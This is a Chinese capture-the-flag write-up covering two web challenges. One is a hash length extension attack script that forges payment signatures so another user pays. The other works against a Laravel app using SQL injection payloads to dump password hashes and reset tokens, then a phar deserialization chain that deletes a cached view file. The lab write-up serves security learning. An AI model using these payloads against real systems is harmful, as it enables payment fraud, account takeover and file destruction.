咕咕商店

考点:hash长度攻击,枚举key的长度

在支付页面可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
$(document).ready(()=>{
t = $('input[name=order_create_time]')
t.data('t', t.val())
t.val(moment(1000*t.val()).utcOffset(8).format('lll'))
f = $('#confirmation')
b = f.children().last()
if($('[name=buyer_point]').val()-$('[name=good_price]').val() < 0){
$('[name=good_price]').addClass('text-danger')
b.text('余额不足,请先充值')
return ;
}
/* 客户端生成签名不安全,更换新的长密钥并且由服务端下发签名 2017.8.9
secure_key = 'R\xe7\x85`]\xb1\x80\xe6\x9bo\x19y\xc5\x88CR\xd0\xfa\xa9g\x7f\xbbt+\xe8w\xe2\xf9\xda*\xe8\x1d\n\xa1k8:6\xd6c\x82P)\x07x\x07\xfb\xdd\xa6\xe3\xc1\xa8\xea+9=\xbf\x07\xba>K\x91^\x88\xd7.\xb8\x05y\x06\xcdm{.\x83!\xdd\x92\xd2S\xff\x16\xb9%\xcb\xf3C5\x92\xff\x98S\xdcC\xbd\xf0\xa0n\xfb\x8br\xf2p\xce\xc4\x0e\xd8zW\x8b\x1d\x12\x1d\xb6\xf9\xaa4v\xb0\x9f\x04oI6\x8d\xd0\xce\x8e%\xec\x98&\xa2\xf7\x13:\r[\x08"\x9d\x8f\xe9q\x04\xdfa\x95\xfa\x95C\xbb\xc4d\x18\t\x93\xc7\xe0\xdc[wJU\xcbPw\xa3b\x14\xf3\xba^ki\xdf\xd78\x9f\xe8\x05\xb9OBQ\'\x1c\x92\xd51\xdd+\xd1\xbc81_S*n'
confirmation_data = f.serialize()
signature = md5(`${secure_key}${confirmation_data}`)
f.attr('action', f.attr('action') + `?signature=${signature}`)
*/
b.removeAttr('disabled')
})
$('#submit').click(function(){
t.val(t.data('t'))
})
</script>

提示说签名改成了后端下发,但是猜测后端下发代码应该与注释掉的前端代码相同

1
signature = md5(`${secure_key}${confirmation_data}`)

另外我们还可以拿到的是下发的签名

1
<form id="confirmation" method="post" action="/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature=48cd69629a5723598ac1bfee9e987f90">

现在并不知道key的长度,可以通过枚举长度,然后修改购买者id让有钱的付

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#encoding:utf8
import sys
from hashpumpy import hashpump
import requests
import re

url = "http://118.89.198.146:6/paymentGatewayV2/cid-1145141919/810893/check.jsp?signature="
cookies = {"csrftoken": "jLxemPWpd15pFDl5agJE4zs7xLDSXlZlljkv0ecZTcerWSkQPHz930MnswxitqWs", "JSESSIONID": "hd5b7r3rge6yuhzgrmfjvtoyeopg8lwh"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://118.89.198.146:6/shop/payOrder/4475", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
data='order_id=4477&buyer_id=724&good_id=42&buyer_point=550&good_price=998&order_create_time=1539586593.669766'
sig = "48cd69629a5723598ac1bfee9e987f90"

for i in xrange(25,1110):
result = hashpump(sig, data, '&buyer_id='+str(i), 1024)
request = requests.post(url+result[0], data=result[1], headers=headers,cookies=cookies)
print request.content
print i
if request.status_code != 404:
print i
break

easy_laravel

首先在NoteController中发现

1
2
3
4
5
6
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}

存在明显注入,注册账号

1
18' union select 1,group_concat(name,email,password),3,4,5 from users#

拿到

1
4uuu Nya admin@qvq.im  $2y$10$IguTzYjMg5ujc7GMcCzA3.WxQ717bbbpfGOUq3XCVkx.DAhR7kXDG

但是密码解密不了

但是有个重置密码的功能,看代码

1
2
3
4
5
6
7
8
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
$table->string('email')->index();
$table->string('token')->index();
$table->timestamp('created_at')->nullable();
});
}

然后

1
19' union select 1,group_concat(email,token),3,4,5 from password_resets#

拿到admin的token

1
726009349914fe4b1fe705e257ddf0930aaa9fda70d3a23a6663df34b11eb768

访问

1
http://192.168.190.136:21114/password/reset/726009349914fe4b1fe705e257ddf0930aaa9fda70d3a23a6663df34b11eb768

重置admin用户密码,登入后台

但是在flag这里却没有,另外一个考点是缓存的问题

1
Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。Blade 视图文件使用 .blade.php 后缀,一般情况下都被存储在 resources/views 目录

在网上找到关于缓存的代码

1
2
3
4
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}

那么根据默认配置知道路径

1
/usr/share/nginx/html/storage/framework/views/

然后求出缓存文件的路径

1
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

现在只要可以删除掉缓存文件就可以

看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}

有file_exists函数的使用,参照https://xz.aliyun.com/t/2715#toc-14

但是还需要魔术方法,根据安装的组件搜索在

找到unlink的使用

构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("autoload.php");

$poc = new Swift_ByteStream_TemporaryFileByteStream();
$poc = serialize($poc);
var_dump($poc);
$poc = preg_replace("/C:\\\Windows\\\\\w{7}\.tmp/", "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $poc);
var_dump($poc);
$poc = preg_replace("/s:22/", "s:90", $poc);
var_dump($poc);
$poc = unserialize($poc);
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($poc);
$phar -> stopBuffering();

?>

将phar.phar改为phar.gif上传

另外还需要知道在check方法中是允许传path参数的,并且path是直接拼接上的,默认的话没有请求的,自己添加上

访问即可看到flag。